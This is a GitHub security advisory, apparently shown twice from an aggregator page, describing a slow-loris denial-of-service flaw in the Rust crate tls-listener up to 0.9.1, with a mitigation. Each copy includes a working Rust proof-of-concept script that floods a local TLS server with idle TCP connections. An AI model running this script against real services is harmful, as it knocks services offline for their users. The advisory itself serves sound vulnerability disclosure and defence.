Headline

GHSA-2qph-qpvm-2qf7: tls-listener affected by the slow loris vulnerability with default configuration

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

8 months ago

ghsa

Open in Source

#vulnerability #js #git #ssl

GitHub Advisory Database
GitHub Reviewed
CVE-2024-28854

tls-listener affected by the slow loris vulnerability with default configuration

High severity GitHub Reviewed Published Mar 15, 2024 in tmccombs/tls-listener • Updated Mar 15, 2024

Package

cargo tls-listener (Rust)

Affected versions

<= 0.9.1

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes pub const DEFAULT_MAX_HANDSHAKES: usize = 64; /// Default timeout for the TLS handshake. pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

use std::{net::ToSocketAddrs, time::Duration}; use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main] async fn main() { const N: usize = 1024; const T: Duration = Duration::from_secs(10);

let url = "127.0.0.1:3000";
let sockets: Vec<\_\> = url
    .to\_socket\_addrs()
    .unwrap()
    .inspect(|s| println!("{s:?}"))
    .collect();

let mut js = JoinSet::new();

let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
int.set\_missed\_tick\_behavior(tokio::time::MissedTickBehavior::Burst);
for \_ in 0..10000 {
    for &socket in &sockets {
        int.tick().await;
        js.spawn(async move {
            let mut stream = TcpStream::connect(socket).await.unwrap();
            let \_ = tokio::time::timeout(T, stream.read\_to\_end(&mut Vec::new())).await;
        });
    }
}

while js.join\_next().await.is\_some() {}

}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

References